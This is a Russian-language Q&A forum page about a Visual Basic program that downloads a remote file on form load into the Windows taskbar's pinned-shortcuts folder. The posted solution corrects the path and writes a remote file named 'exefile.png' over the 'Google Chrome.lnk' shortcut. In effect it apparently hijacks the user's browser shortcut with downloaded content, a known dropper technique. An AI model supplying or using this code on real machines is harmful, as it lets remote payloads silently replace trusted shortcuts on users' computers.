Где ошибка в программе: код записывает фото, но не сохраняет в заданной директории? - VB

Формулировка задачи:

Вот код, он записывает фото но не сохраняет там где хочется

                    Листинг программы
                
 
                        
                          
                    
Private Declare Function URLDownloadToFile Lib "urlmon" _
                    Alias "URLDownloadToFileA" ( _
                    ByVal pCaller As Long, _
                    ByVal szURL As String, _
                    ByVal szFileName As String, _
                    ByVal dwReserved As Long, _
                    ByVal lpfnCB As Long) _
                    As Long
Public Function DownloadFile( _
                    URL As String, _
                    LocalFilename As String) _
                    As Boolean
    Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
    If lngRetVal = 0 Then DownloadFile = True
End Function
Private Sub Form_Load()
    DownloadFile "http://opaaa.ru/xxx.png", "C:\%USERPROFILE%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\XXX.PNG"
    MsgBox "OKS !"
End Sub

ну видимо ошибка ( %USERPROFILE% ) и что можно придумать

Решение задачи: «Где ошибка в программе: код записывает фото, но не сохраняет в заданной директории?»

textual
                            Листинг программы 
                        
 DownloadFile "http://mysite/exefile.png", environ("USERPROFILE") & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk"
 
End Sub